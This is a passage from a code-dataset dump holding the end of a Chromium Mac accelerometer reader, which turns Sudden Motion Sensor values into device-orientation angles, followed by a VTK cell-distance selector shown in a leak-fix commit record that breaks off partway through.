OF\n\/\/ MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n\/\/ IN NO EVENT SHALL THE CONTRIBUTORS OR COPYRIGHT HOLDERS BE LIABLE FOR\n\/\/ ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n\/\/ TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n\/\/ SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE SOFTWARE.\n\/\/\n\/\/ For more information about SMSLib, see\n\/\/ <http:\/\/www.suitable.com\/tools\/smslib.html>\n\/\/ or contact\n\/\/ Daniel Griscom\n\/\/ Suitable Systems\n\/\/ 1 Centre Street, Suite 204\n\/\/ Wakefield, MA 01880\n\/\/ (781) 665-0053\n\n#include \"chrome\/browser\/device_orientation\/accelerometer_mac.h\"\n\n#include <math.h> \/\/ For isfinite.\n#include <sys\/sysctl.h>\n\n#include \"base\/logging.h\"\n#include \"base\/scoped_ptr.h\"\n#include \"chrome\/browser\/device_orientation\/orientation.h\"\n\nnamespace device_orientation {\n\nstruct AccelerometerMac::GenericMacbookSensor {\n \/\/ Name of device to be read.\n const char* service_name;\n\n \/\/ Number of bytes of the axis data.\n int axis_size;\n\n \/\/ Default calibration value for zero g.\n float zero_g;\n\n \/\/ Default calibration value for one g (negative when axis is inverted).\n float one_g;\n\n \/\/ Kernel function index.\n unsigned int function;\n\n \/\/ Size of the sensor record to be sent\/received.\n unsigned int record_size;\n};\n\nstruct AccelerometerMac::AxisData {\n \/\/ Location of the first byte representing the axis in the sensor data.\n int index;\n\n \/\/ Axis inversion flag. The value changes often between models.\n bool inverted;\n};\n\n\/\/ Sudden Motion Sensor descriptor.\nstruct AccelerometerMac::SensorDescriptor {\n \/\/ Prefix of model to be tested.\n const char* model_name;\n\n \/\/ Axis-specific data (x,y,z order).\n AxisData axis[3];\n};\n\n\/\/ Typical sensor parameters in MacBook models.\nconst AccelerometerMac::GenericMacbookSensor\n AccelerometerMac::kGenericSensor = {\n \"SMCMotionSensor\", 2,\n 0, 251,\n 5, 40\n};\n\n\/\/ Supported sensor descriptors. Add entries here to enhance compatibility.\n\/\/ All non-tested entries from SMSLib have been removed.\nconst AccelerometerMac::SensorDescriptor\n AccelerometerMac::kSupportedSensors[] = {\n \/\/ Tested by S.Selz. (via avi) on a 13\" MacBook.\n { \"MacBook2,1\", { { 0, true }, { 2, false }, { 4, true } } },\n\n \/\/ Tested by avi on a 13\" MacBook.\n { \"MacBook7,1\", { { 0, true }, { 2, true }, { 4, false } } },\n\n \/\/ Tested by sfiera, pjw on a 13\" MacBook Air.\n { \"MacBookAir2,1\", { { 0, true }, { 2, true }, { 4, false } } },\n\n \/\/ Note: MacBookAir3,1 (11\" MacBook Air) and MacBookAir3,2 (13\" MacBook Air)\n \/\/ have no accelerometer sensors.\n\n \/\/ Tested by L.V. (via avi) on a 17\" MacBook Pro.\n { \"MacBookPro2,1\", { { 0, true }, { 2, false }, { 4, true } } },\n\n \/\/ Tested by leandrogracia on a 15\" MacBook Pro.\n { \"MacBookPro2,2\", { { 0, true }, { 2, true }, { 4, false } } },\n\n \/\/ Tested by leandrogracia on a 15\" MacBook Pro.\n \/\/ TODO(avi): this model name was also used for the 17\" version; verify that\n \/\/ these parameters are also valid for that model.\n { \"MacBookPro3,1\", { { 0, false }, { 2, true }, { 4, true } } },\n\n \/\/ Tested by leandrogracia on a 15\" MacBook Pro.\n \/\/ TODO(avi): this model name was also used for the 17\" version; verify that\n \/\/ these parameters are also valid for that model.\n { \"MacBookPro4,1\", { { 0, true }, { 2, true }, { 4, false } } },\n\n \/\/ Tested by leandrogracia on a 15\" MacBook Pro.\n { \"MacBookPro5,1\", { { 0, false }, { 2, false }, { 4, false } } },\n\n \/\/ Tested by S.Selz. (via avi) on a 15\" MacBook Pro.\n { \"MacBookPro5,2\", { { 0, false }, { 2, false }, { 4, false } } },\n\n \/\/ Tested by dmaclach on a 15\" MacBook Pro.\n { \"MacBookPro5,3\", { { 2, false }, { 0, false }, { 4, true } } },\n\n \/\/ Tested by leandrogracia on a 15\" MacBook Pro.\n { \"MacBookPro5,4\", { { 0, false }, { 2, false }, { 4, false } } },\n\n \/\/ Tested by leandrogracia on a 13\" MacBook Pro.\n { \"MacBookPro5,5\", { { 0, true }, { 2, true }, { 4, false } } },\n\n \/\/ Tested by khom, leadpipe on a 17\" MacBook Pro.\n { \"MacBookPro6,1\", { { 0, false }, { 2, false }, { 4, false } } },\n\n \/\/ Tested by leandrogracia on a 15\" MacBook Pro.\n { \"MacBookPro6,2\", { { 0, true }, { 2, false }, { 4, true } } },\n\n \/\/ Tested by leandrogracia on a 13\" MacBook Pro.\n { \"MacBookPro7,1\", { { 0, true }, { 2, true }, { 4, false } } },\n\n \/\/ Generic MacBook accelerometer sensor data, used for for both future models\n \/\/ and past models for which there has been no testing. Note that this generic\n \/\/ configuration may well have problems with inverted axes.\n \/\/ TODO(avi): Find these past models and test on them; test on future models.\n \/\/ MacBook1,1\n \/\/ MacBook3,1\n \/\/ MacBook4,1\n \/\/ MacBook5,1\n \/\/ MacBook5,2\n \/\/ MacBook6,1\n \/\/ MacBookAir1,1\n \/\/ MacBookPro1,1\n \/\/ MacBookPro1,2\n \/\/ MacBookPro5,2\n { \"\", { { 0, true }, { 2, true }, { 4, false } } }\n};\n\n\/\/ Create a AccelerometerMac object and return NULL if no valid sensor found.\nDataFetcher* AccelerometerMac::Create() {\n scoped_ptr<AccelerometerMac> accelerometer(new AccelerometerMac);\n return accelerometer->Init() ? accelerometer.release() : NULL;\n}\n\nAccelerometerMac::~AccelerometerMac() {\n IOServiceClose(io_connection_);\n}\n\nAccelerometerMac::AccelerometerMac()\n : sensor_(NULL),\n io_connection_(0) {\n}\n\n\/\/ Retrieve per-axis accelerometer values.\n\/\/\n\/\/ Axes and angles are defined according to the W3C DeviceOrientation Draft.\n\/\/ See here: http:\/\/dev.w3.org\/geo\/api\/spec-source-orientation.html\n\/\/\n\/\/ Note: only beta and gamma angles are provided. Alpha is set to zero.\n\/\/\n\/\/ Returns false in case of error or non-properly initialized object.\n\/\/\nbool AccelerometerMac::GetOrientation(Orientation* orientation) {\n DCHECK(sensor_);\n\n \/\/ Reset output record memory buffer.\n std::fill(output_record_.begin(), output_record_.end(), 0x00);\n\n \/\/ Read record data from memory.\n const size_t kInputSize = kGenericSensor.record_size;\n size_t output_size = kGenericSensor.record_size;\n\n if (IOConnectCallStructMethod(io_connection_, kGenericSensor.function,\n static_cast<const char *>(&input_record_[0]), kInputSize,\n &output_record_[0], &output_size) != KERN_SUCCESS) {\n return false;\n }\n\n \/\/ Calculate per-axis calibrated values.\n float axis_value[3];\n\n for (int i = 0; i < 3; ++i) {\n int sensor_value = 0;\n int size = kGenericSensor.axis_size;\n int index = sensor_->axis[i].index;\n\n \/\/ Important Note: little endian is assumed as this code is mac-only\n \/\/ and PowerPC is currently not supported.\n memcpy(&sensor_value, &output_record_[index], size);\n\n sensor_value = ExtendSign(sensor_value, size);\n\n \/\/ Correct value using the current calibration.\n axis_value[i] = static_cast<float>(sensor_value - kGenericSensor.zero_g) \/\n kGenericSensor.one_g;\n\n \/\/ Make sure we reject any NaN or infinite values.\n if (!isfinite(axis_value[i]))\n return false;\n\n \/\/ Clamp value to the [-1, 1] range.\n if (axis_value[i] < -1.0)\n axis_value[i] = -1.0;\n else if (axis_value[i] > 1.0)\n axis_value[i] = 1.0;\n\n \/\/ Apply axis inversion.\n if (sensor_->axis[i].inverted)\n axis_value[i] = -axis_value[i];\n }\n\n \/\/ Transform the accelerometer values to W3C draft angles.\n \/\/\n \/\/ Accelerometer values are just dot products of the sensor axes\n \/\/ by the gravity vector 'g' with the result for the z axis inverted.\n \/\/\n \/\/ To understand this transformation calculate the 3rd row of the z-x-y\n \/\/ Euler angles rotation matrix (because of the 'g' vector, only 3rd row\n \/\/ affects to the result). Note that z-x-y matrix means R = Ry * Rx * Rz.\n \/\/ Then, assume alpha = 0 and you get this:\n \/\/\n \/\/ x_acc = sin(gamma)\n \/\/ y_acc = - cos(gamma) * sin(beta)\n \/\/ z_acc = cos(beta) * cos(gamma)\n \/\/\n \/\/ After that the rest is just a bit of trigonometry.\n \/\/\n \/\/ Also note that alpha can't be provided but it's assumed to be always zero.\n \/\/ This is necessary in order to provide enough information to solve\n \/\/ the equations.\n \/\/\n const double kRad2deg = 180.0 \/ M_PI;\n\n orientation->alpha_ = 0.0;\n orientation->beta_ = kRad2deg * atan2(-axis_value[1], axis_value[2]);\n orientation->gamma_ = kRad2deg * asin(axis_value[0]);\n\n \/\/ Make sure that the interval boundaries comply with the specification.\n if (orientation->beta_ >= 180.0)\n orientation->beta_ -= 360.0;\n if (orientation->gamma_ >= 90.0)\n orientation->gamma_ -= 180.0;\n\n DCHECK_GE(orientation->beta_, -180.0);\n DCHECK_LT(orientation->beta_, 180.0);\n DCHECK_GE(orientation->gamma_, -90.0);\n DCHECK_LT(orientation->gamma_, 90.0);\n\n orientation->can_provide_alpha_ = false;\n orientation->can_provide_beta_ = true;\n orientation->can_provide_gamma_ = true;\n\n return true;\n}\n\n\/\/ Probe the local hardware looking for a supported sensor device\n\/\/ and initialize an I\/O connection to it.\nbool AccelerometerMac::Init() {\n \/\/ Allocate local variables for model name string (size from SMSLib).\n static const int kNameSize = 32;\n char local_model[kNameSize];\n\n \/\/ Request model name to the kernel.\n size_t name_size = kNameSize;\n int params[2] = { CTL_HW, HW_MODEL };\n if (sysctl(params, 2, local_model, &name_size, NULL, 0) != 0)\n return NULL;\n\n const SensorDescriptor* sensor_candidate = NULL;\n\n \/\/ Look for the current model in the supported sensor list.\n const int kNumSensors = arraysize(kSupportedSensors);\n\n for (int i = 0; i < kNumSensors; ++i) {\n \/\/ Check if the supported sensor model name is a prefix\n \/\/ of the local hardware model (empty names are accepted).\n const char* p1 = kSupportedSensors[i].model_name;\n for (const char* p2 = local_model; *p1 != '\\0' && *p1 == *p2; ++p1, ++p2)\n continue;\n if (*p1 != '\\0')\n continue;\n\n \/\/ Local hardware found in the supported sensor list.\n sensor_candidate = &kSupportedSensors[i];\n\n \/\/ Get a dictionary of the services matching to the one in the sensor.\n CFMutableDictionaryRef dict =\n IOServiceMatching(kGenericSensor.service_name);\n if (dict == NULL)\n continue;\n\n \/\/ Get an iterator for the matching services.\n io_iterator_t device_iterator;\n if (IOServiceGetMatchingServices(kIOMasterPortDefault, dict,\n &device_iterator) != KERN_SUCCESS) {\n continue;\n }\n\n \/\/ Get the first device in the list.\n io_object_t device = IOIteratorNext(device_iterator);\n IOObjectRelease(device_iterator);\n if (device == 0)\n continue;\n\n \/\/ Try to open device.\n kern_return_t result;\n result = IOServiceOpen(device, mach_task_self(), 0, &io_connection_);\n IOObjectRelease(device);\n if (result != KERN_SUCCESS || io_connection_ == 0)\n return false;\n\n \/\/ Local sensor service confirmed by IOKit.\n sensor_ = sensor_candidate;\n break;\n }\n\n if (sensor_ == NULL)\n return false;\n\n \/\/ Allocate and initialize input\/output records.\n input_record_.resize(kGenericSensor.record_size, 0x01);\n output_record_.resize(kGenericSensor.record_size, 0x00);\n\n \/\/ Try to retrieve the current orientation.\n Orientation test_orientation;\n return GetOrientation(&test_orientation);\n}\n\n\/\/ Extend the sign of an integer of less than 32 bits to a 32-bit integer.\nint AccelerometerMac::ExtendSign(int value, size_t size) {\n switch (size) {\n case 1:\n if (value & 0x00000080)\n return value | 0xffffff00;\n break;\n\n case 2:\n if (value & 0x00008000)\n return value | 0xffff0000;\n break;\n\n case 3:\n if (value & 0x00800000)\n return value | 0xff000000;\n break;\n\n default:\n LOG(FATAL) << \"Invalid integer size for sign extension: \" << size;\n }\n\n return value;\n}\n\n} \/\/ namespace device_orientation\n<|endoftext|>"} {"text":"<commit_before>#include \"vtkCellDistanceSelector.h\"\n\n#include <vtkCell.h>\n#include <vtkCellData.h>\n#include <vtkIdList.h>\n#include <vtkObjectFactory.h>\n#include <vtkPointData.h>\n#include <vtkDataSet.h>\n#include <vtkUnstructuredGrid.h>\n#include <vtkStructuredGrid.h>\n#include <vtkPolyData.h>\n#include <vtkCellLinks.h>\n#include <vtkInformation.h>\n#include <vtkInformationVector.h>\n#include <vtkCompositeDataSet.h>\n#include <vtkCompositeDataIterator.h>\n#include <vtkSelection.h>\n#include <vtkSelectionNode.h>\n#include <vtkIdTypeArray.h>\n#include <vtkSmartPointer.h>\n\n#include <map>\n#include <vector>\n\nvtkStandardNewMacro(vtkCellDistanceSelector);\n\n\/\/ ----------------------------------------------------------------------\nvtkCellDistanceSelector::vtkCellDistanceSelector()\n{\n this->Distance = 1;\n this->IncludeSeed = 1;\n this->AddIntermediate = 1;\n this->SetNumberOfInputPorts( 2 );\n}\n\n\/\/ ----------------------------------------------------------------------\nvtkCellDistanceSelector::~vtkCellDistanceSelector()\n{\n}\n\n\/\/ ----------------------------------------------------------------------\nvoid vtkCellDistanceSelector::SetDataObjectConnection ( vtkAlgorithmOutput* in )\n{\n this->SetInputConnection( 1, in );\n}\n\n\/\/ ----------------------------------------------------------------------\nvoid vtkCellDistanceSelector::PrintSelf( ostream& os, vtkIndent indent )\n{\n this->Superclass::PrintSelf( os, indent );\n}\n\n\/\/ ----------------------------------------------------------------------\nint vtkCellDistanceSelector::FillInputPortInformation( int port, vtkInformation* info )\n{\n switch ( port )\n {\n case 0:\n info->Set(vtkAlgorithm::INPUT_REQUIRED_DATA_TYPE(), \"vtkSelection\" );\n break;\n case 1:\n info->Set(vtkAlgorithm::INPUT_REQUIRED_DATA_TYPE(), \"vtkCompositeDataSet\" );\n break;\n }\n return 1;\n}\n\n\/\/ ----------------------------------------------------------------------\nvoid vtkCellDistanceSelector::AddSelectionNode( vtkSelection* output, \n vtkSmartPointer<vtkDataArray> outIndices,\n int composite_index, int d )\n{\n vtkSmartPointer<vtkSelectionNode> outSelNode = vtkSmartPointer<vtkSelectionNode>::New();\n outSelNode->SetContentType( vtkSelectionNode::INDICES );\n outSelNode->SetFieldType( vtkSelectionNode::CELL );\n outSelNode->GetProperties()->Set( vtkSelectionNode::COMPOSITE_INDEX(), composite_index );\n \/\/ NB: Use HIERARCHICAL_LEVEL key to store distance to original cells\n outSelNode->GetProperties()->Set( vtkSelectionNode::HIERARCHICAL_LEVEL(), d ); \n outSelNode->SetSelectionList( outIndices );\n output->AddNode( outSelNode );\n}\n\n\/\/ ----------------------------------------------------------------------\nint vtkCellDistanceSelector::RequestData( vtkInformation* vtkNotUsed( request ),\n vtkInformationVector** inputVector,\n vtkInformationVector* outputVector )\n{\n vtkInformation* inSelectionInfo = inputVector[0]->GetInformationObject( 0 );\n vtkInformation* inDataObjectInfo = inputVector[1]->GetInformationObject( 0 );\n\n vtkInformation* outInfo = outputVector->GetInformationObject( 0 );\n\n vtkSelection* inputSelection =\n vtkSelection::SafeDownCast( inSelectionInfo->Get( vtkDataObject::DATA_OBJECT() ) );\n\n vtkCompositeDataSet* compositeInput =\n vtkCompositeDataSet::SafeDownCast( inDataObjectInfo->Get(vtkDataObject::DATA_OBJECT() ) );\n\n vtkSelection* output =\n vtkSelection::SafeDownCast(outInfo->Get( vtkDataObject::DATA_OBJECT() ) );\n\n if ( ! compositeInput )\n {\n vtkErrorMacro(<<\"Missing input data object\");\n return 0;\n }\n\n if ( ! inputSelection )\n {\n vtkErrorMacro(<<\"Missing input selection\");\n return 0;\n }\n\n std::map<int,std::vector<vtkSelectionNode*> > partSelections;\n int nSelNodes = inputSelection->GetNumberOfNodes();\n for ( int i = 0; i < nSelNodes; ++ i )\n {\n vtkSelectionNode* sn = inputSelection->GetNode( i );\n int composite_index = sn->GetProperties()->Get(vtkSelectionNode::COMPOSITE_INDEX() ) ;\n partSelections[composite_index].push_back( sn );\n }\n\n vtkCompositeDataIterator* inputIterator = compositeInput->NewIterator();\n inputIterator->SkipEmptyNodesOn();\n inputIterator->InitTraversal();\n inputIterator->GoToFirstItem();\n while ( ! inputIterator->IsDoneWithTraversal() )\n {\n vtkDataSet * input = vtkDataSet::SafeDownCast( inputIterator->GetCurrentDataObject() );\n \/\/ NB: composite indices start at 1\n int composite_index = inputIterator->GetCurrentFlatIndex();\n inputIterator->GoToNextItem();\n\n std::vector<vtkSelectionNode*>::iterator selNodeIt = partSelections[composite_index].begin();\n while ( selNodeIt != partSelections[composite_index].end() )\n {\n vtkSelectionNode* selectionNode = *selNodeIt;\n ++ selNodeIt;\n\n vtkDataArray* selectionList = vtkDataArray::SafeDownCast( selectionNode->GetSelectionList() );\n vtkIdType numSeeds = selectionList->GetNumberOfTuples();\n if ( numSeeds > 0\n && selectionNode->GetContentType() == vtkSelectionNode::INDICES\n && selectionNode->GetFieldType() == vtkSelectionNode::CELL\n && input->GetNumberOfCells() > 0 )\n {\n vtkIdType numCells = input->GetNumberOfCells();\n\n vtkUnstructuredGrid* ug_input = vtkUnstructuredGrid::SafeDownCast( input );\n vtkStructuredGrid* sg_input = vtkStructuredGrid::SafeDownCast( input );\n vtkPolyData* pd_input = vtkPolyData::SafeDownCast( input);\n\n vtkCellLinks * links = 0;\n if (ug_input != 0)\n {\n if ( ! ug_input->GetCellLinks() )\n {\n ug_input->BuildLinks();\n }\n links = ug_input->GetCellLinks();\n }\n\n std::vector<int> flags( numCells, 0 );\n\n vtkSmartPointer<vtkIdTypeArray> outIndices = vtkSmartPointer<vtkIdTypeArray>::New();\n outIndices->SetNumberOfTuples( numSeeds );\n\n int seedCount = 0;\n for ( int i = 0; i < numSeeds; ++ i )\n {\n vtkIdType cellIndex = static_cast<vtkIdType> ( selectionList->GetTuple1( i ) );\n if( cellIndex>=0 && cellIndex<numCells )\n {\n flags[cellIndex] = true;\n outIndices->SetTuple1( seedCount++, cellIndex );\n }\n else\n {\n vtkWarningMacro(<<\"Cell index out of bounds in selection (\"<<cellIndex<<\"\/\"<<numCells<<\")\\n\");\n }\n }\n outIndices->SetNumberOfTuples( seedCount );\n\n vtkSmartPointer<vtkIdTypeArray> finalIndices = vtkSmartPointer<vtkIdTypeArray>::New();\n vtkSmartPointer<vtkIntArray> cellDistance = vtkSmartPointer<vtkIntArray>::New();\n cellDistance->SetName(\"Cell Distance\");\n\n \/\/ Iterate over increasing topological distance until desired distance is met\n for ( int d = 0; d < this->Distance; ++ d )\n {\n vtkSmartPointer<vtkIdTypeArray> nextIndices = vtkSmartPointer<vtkIdTypeArray>::New();\n\n if ( ug_input )\n {\n int nIndices = outIndices->GetNumberOfTuples();\n for ( int i = 0; i < nIndices; ++ i )\n {\n vtkIdType cellIndex = static_cast<vtkIdType>( outIndices->GetTuple1( i ) );\n vtkIdType * points;\n vtkIdType n;\n ug_input->GetCellPoints(cellIndex, n, points);\n for ( int k = 0; k < n; ++ k )\n {\n vtkIdType pid = points[k];\n int np = links->GetNcells( pid );\n vtkIdType* cells = links->GetCells( pid );\n for ( int j = 0; j < np; ++ j )\n {\n vtkIdType cid = cells[j];\n if( cid >= 0 && cid < numCells )\n {\n if ( ! flags[cid] )\n {\n flags[cid] = true;\n nextIndices->InsertNextValue( cid );\n }\n }\n else\n {\n vtkWarningMacro(<<\"Selection's cell index out of bounds (\"<<cid<<\"\/\"<<numCells<<\")\\n\");\n }\n }\n }\n }\n } \/\/ if ( ug_input )\n else if ( pd_input )\n {\n pd_input->BuildLinks();\n int nIndices = outIndices->GetNumberOfTuples();\n for ( int i = 0; i < nIndices; ++ i )\n {\n vtkIdType cellIndex = static_cast<vtkIdType>( outIndices->GetTuple1( i) );\n vtkIdType* points;\n vtkIdType n;\n pd_input->GetCellPoints(cellIndex, n, points);\n for ( int k = 0; k < n; ++ k )\n {\n vtkIdType pid = points[k];\n short unsigned int np;\n vtkIdType* cells;\n pd_input->GetPointCells(pid, np, cells);\n for ( int j = 0; j < np; j++)\n {\n vtkIdType cid = cells[j];\n if( cid>=0 && cid<numCells )\n {\n if (!flags[cid])\n {\n flags[cid] = true;\n nextIndices->InsertNextValue(cid);\n }\n }\n else\n {\n vtkWarningMacro(<<\"Selection's cell index out of bounds (\"<<cid<<\"\/\"<<numCells<<\")\\n\");\n }\n }\n }\n }\n } \/\/ else if ( ug_input )\n else if (sg_input != 0)\n {\n int dim[3];\n sg_input->GetDimensions(dim);\n dim[0]--;\n dim[1]--;\n dim[2]--;\n\n int nIndices = outIndices->GetNumberOfTuples();\n for ( int i = 0; i < nIndices; ++ i )\n {\n vtkIdType cellIndex = static_cast<vtkIdType>( outIndices->GetTuple1( i ) );\n vtkIdType cellId = cellIndex;\n vtkIdType ijk[3];\n for ( int c = 0; c < 3; c++)\n {\n if (dim[c] <= 1)\n {\n ijk[c] = 0;\n }\n else\n {\n ijk[c] = cellId % dim[c];\n cellId \/= dim[c];\n }\n }\n for ( int k = -1; k <= 1; k++)\n {\n for ( int j = -1; j <= 1; j++)\n {\n for ( int l = -1; l <= 1; ++ l )\n {\n int I = ijk[0] + l, J = ijk[1] + j, K = ijk[2] + k;\n if ( i >= 0 && I < dim[0] && J >= 0 && J\n < dim[1] && K >= 0 && K < dim[2])\n {\n cellId = I + J * dim[0] + K * dim[0] * dim[1];\n if( cellId >= 0 && cellId < numCells )\n {\n if ( ! flags[cellId] )\n {\n flags[cellId] = true;\n nextIndices->InsertNextValue( cellId );\n }\n }\n else\n {\n vtkWarningMacro(<<\"Selection's cell index out of bounds (\"<<cellId<<\"\/\"<<numCells<<\")\\n\");\n }\n }\n } \/\/ l\n } \/\/ j\n } \/\/ k\n }\n } \/\/ else if ( sg_input )\n else\n {\n vtkErrorMacro(<<\"Unsupported data type : \"<<input->GetClassName()<<\"\\n\");\n }\n\n if( ( ! d && this->IncludeSeed ) || ( d > 0 && this->AddIntermediate ) )\n {\n int ni = outIndices->GetNumberOfTuples();\n for( int i = 0; i < ni; ++ i )\n {\n cellDistance->InsertNextTuple1( d );\n finalIndices->InsertNextTuple1( outIndices->GetTuple1( i ) );\n }\n }\n\n outIndices = nextIndices;\n } \/\/ for ( int d = 0; d < this->Distance; ++ d )\n\n if( ( ! this->Distance && this->IncludeSeed ) || ( this->Distance > 0 && this->AddIntermediate ) )\n {\n int ni = outIndices->GetNumberOfTuples();\n for( int i=0;i<ni;++ i )\n {\n cellDistance->InsertNextTuple1( this->Distance );\n finalIndices->InsertNextTuple1( outIndices->GetTuple1( i ) );\n }\n }\n\n if( finalIndices->GetNumberOfTuples() > 0 )\n {\n vtkSmartPointer<vtkSelectionNode> outSelNode = vtkSmartPointer<vtkSelectionNode>::New();\n outSelNode->SetContentType( vtkSelectionNode::INDICES );\n outSelNode->SetFieldType( vtkSelectionNode::CELL );\n outSelNode->GetProperties()->Set( vtkSelectionNode::COMPOSITE_INDEX(), composite_index );\n outSelNode->SetSelectionList( finalIndices );\n outSelNode->GetSelectionData()->AddArray( cellDistance );\n output->AddNode( outSelNode );\n }\n } \/\/ if numSeeds > 0 etc.\n } \/\/ while selNodeIt\n } \/\/ while inputIterator\n\n return 1;\n}\n<commit_msg>Fixed a leak (composite iterator deletion)<commit_after>#include \"vtkCellDistanceSelector.h\"\n\n#include <vtkCell.h>\n#include <vtkCellData.h>\n#include <vtkIdList.h>\n#include <vtkObjectFactory.h>\n#include <vtkPointData.h>\n#include <vtkDataSet.h>\n#include <vtkUnstructuredGrid.h>\n#include <vtkStructuredGrid.h>\n#include <vtkPolyData.h>\n#include <vtkCellLinks.h>\n#include <vtkInformation.h>\n#include <vtkInformationVector.h>\n#include <vtkCompositeDataSet.h>\n#include <vtkCompositeDataIterator.h>\n#include <vtkSelection.h>\n#include <vtkSelectionNode.h>\n#include <vtkIdTypeArray.h>\n#include <vtkSmartPointer.h>\n\n#include <map>\n#include <vector>\n\nvtkStandardNewMacro(vtkCellDistanceSelector);\n\n\/\/ ----------------------------------------------------------------------\nvtkCellDistanceSelector::vtkCellDistanceSelector()\n{\n this->Distance = 1;\n this->IncludeSeed = 1;\n this->AddIntermediate = 1;\n this->SetNumberOfInputPorts( 2 );\n}\n\n\/\/ ----------------------------------------------------------------------\nvtkCellDistanceSelector::~vtkCellDistanceSelector()\n{\n}\n\n\/\/ ----------------------------------------------------------------------\nvoid vtkCellDistanceSelector::SetDataObjectConnection ( vtkAlgorithmOutput* in )\n{\n this->SetInputConnection( 1, in );\n}\n\n\/\/ ----------------------------------------------------------------------\nvoid vtkCellDistanceSelector::PrintSelf( ostream& os, vtkIndent indent )\n{\n this->Superclass::PrintSelf( os, indent );\n}\n\n\/\/ ----------------------------------------------------------------------\nint vtkCellDistanceSelector::FillInputPortInformation( int port, vtkInformation* info )\n{\n switch ( port )\n {\n case 0:\n info->Set(vtkAlgorithm::INPUT_REQUIRED_DATA_TYPE(), \"vtkSelection\" );\n break;\n case 1:\n info->Set(vtkAlgorithm::INPUT_REQUIRED_DATA_TYPE(), \"vtkCompositeDataSet\" );\n break;\n }\n return 1;\n}\n\n\/\/ ----------------------------------------------------------------------\nvoid vtkCellDistanceSelector::AddSelectionNode( vtkSelection* output, \n vtkSmartPointer<vtkDataArray> outIndices,\n int composite_index, int d )\n{\n vtkSmartPointer<vtkSelectionNode> outSelNode = vtkSmartPointer<vtkSelectionNode>::New();\n outSelNode->SetContentType( vtkSelectionNode::INDICES );\n outSelNode->SetFieldType( vtkSelectionNode::CELL );\n outSelNode->GetProperties()->Set( vtkSelectionNode::COMPOSITE_INDEX(), composite_index );\n \/\/ NB: Use HIERARCHICAL_LEVEL key to store distance to original cells\n outSelNode->GetProperties()->Set( vtkSelectionNode::HIERARCHICAL_LEVEL(), d ); \n outSelNode->SetSelectionList( outIndices );\n output->AddNode( outSelNode );\n}\n\n\/\/ ----------------------------------------------------------------------\nint vtkCellDistanceSelector::RequestData( vtkInformation* vtkNotUsed( request ),\n vtkInformationVector** inputVector,\n vtkInformationVector* outputVector )\n{\n vtkInformation* inSelectionInfo = inputVector[0]->GetInformationObject( 0 );\n vtkInformation* inDataObjectInfo = inputVector[1]->GetInformationObject( 0 );\n\n vtkInformation* outInfo = outputVector->GetInformationObject( 0 );\n\n vtkSelection* inputSelection =\n vtkSelection::SafeDownCast( inSelectionInfo->Get( vtkDataObject::DATA_OBJECT() ) );\n\n vtkCompositeDataSet* compositeInput =\n vtkCompositeDataSet::SafeDownCast( inDataObjectInfo->Get(vtkDataObject::DATA_OBJECT() ) );\n\n vtkSelection* output =\n vtkSelection::SafeDownCast(outInfo->Get( vtkDataObject::DATA_OBJECT() ) );\n\n if ( ! compositeInput )\n {\n vtkErrorMacro(<<\"Missing input data object\");\n return 0;\n }\n\n if ( ! inputSelection )\n {\n vtkErrorMacro(<<\"Missing input selection\");\n return 0;\n }\n\n std::map<int,std::vector<vtkSelectionNode*> > partSelections;\n int nSelNodes = inputSelection->GetNumberOfNodes();\n for ( int i = 0; i < nSelNodes; ++ i )\n {\n vtkSelectionNode* sn = inputSelection->GetNode( i );\n int composite_index = sn->GetProperties()->Get(vtkSelectionNode::COMPOSITE_INDEX() ) ;\n partSelections[composite_index].push_back( sn );\n }\n\n vtkCompositeDataIterator* inputIterator = compositeInput->NewIterator();\n inputIterator->SkipEmptyNodesOn();\n inputIterator->InitTraversal();\n inputIterator->GoToFirstItem();\n while ( ! inputIterator->IsDoneWithTraversal() )\n {\n vtkDataSet * input = vtkDataSet::SafeDownCast( inputIterator->GetCurrentDataObject() );\n \/\/ NB: composite indices start at 1\n int composite_index = inputIterator->GetCurrentFlatIndex();\n inputIterator->GoToNextItem();\n\n std::vector<vtkSelectionNode*>::iterator selNodeIt = partSelections[composite_index].begin();\n while ( selNodeIt != partSelections[composite_index].end() )\n {\n vtkSelectionNode* selectionNode = *selNodeIt;\n ++ selNodeIt;\n\n vtkDataArray* selectionList = vtkDataArray::SafeDownCast( selectionNode->GetSelectionList() );\n vtkIdType numSeeds = selectionList->GetNumberOfTuples();\n if ( numSeeds > 0\n && selectionNode->GetContentType() == vtkSelectionNode::INDICES\n && selectionNode->GetFieldType() == vtkSelectionNode::CELL\n && input->GetNumberOfCells() > 0 )\n {\n vtkIdType numCells = input->GetNumberOfCells();\n\n vtkUnstructuredGrid* ug_input = vtkUnstructuredGrid::SafeDownCast( input );\n vtkStructuredGrid* sg_input = vtkStructuredGrid::SafeDownCast( input );\n vtkPolyData* pd_input = vtkPolyData::SafeDownCast( input);\n\n vtkCellLinks * links = 0;\n if (ug_input != 0)\n {\n if ( ! ug_input->GetCellLinks() )\n {\n ug_input->BuildLinks();\n }\n links = ug_input->GetCellLinks();\n }\n\n std::vector<int> flags( numCells, 0 );\n\n vtkSmartPointer<vtkIdTypeArray> outIndices = vtkSmartPointer<vtkIdTypeArray>::New();\n outIndices->SetNumberOfTuples( numSeeds );\n\n int seedCount = 0;\n for ( int i = 0; i < numSeeds; ++ i )\n {\n vtkIdType cellIndex = static_cast<vtkIdType> ( selectionList->GetTuple1( i ) );\n if( cellIndex>=0 && cellIndex<numCells )\n {\n flags[cellIndex] = true;\n outIndices->SetTuple1( seedCount++, cellIndex );\n }\n else\n {\n vtkWarningMacro(<<\"Cell index out of bounds in selection (\"<<cellIndex<<\"\/\"<<numCells<<\")\\n\");\n }\n }\n outIndices->SetNumberOfTuples( seedCount );\n\n vtkSmartPointer<vtkIdTypeArray> finalIndices = vtkSmartPointer<vtkIdTypeArray>::New();\n vtkSmartPointer<vtkIntArray> cellDistance = vtkSmartPointer<vtkIntArray>::New();\n cellDistance->SetName(\"Cell Distance\");\n\n \/\/ Iterate over increasing topological distance until desired distance is met\n for ( int d = 0; d < this->Distance; ++ d )\n {\n vtkSmartPointer<vtkIdTypeArray> nextIndices = vtkSmartPointer<vtkIdTypeArray>::New();\n\n if ( ug_input )\n {\n int nIndices = outIndices->GetNumberOfTuples();\n for ( int i = 0; i < nIndices; 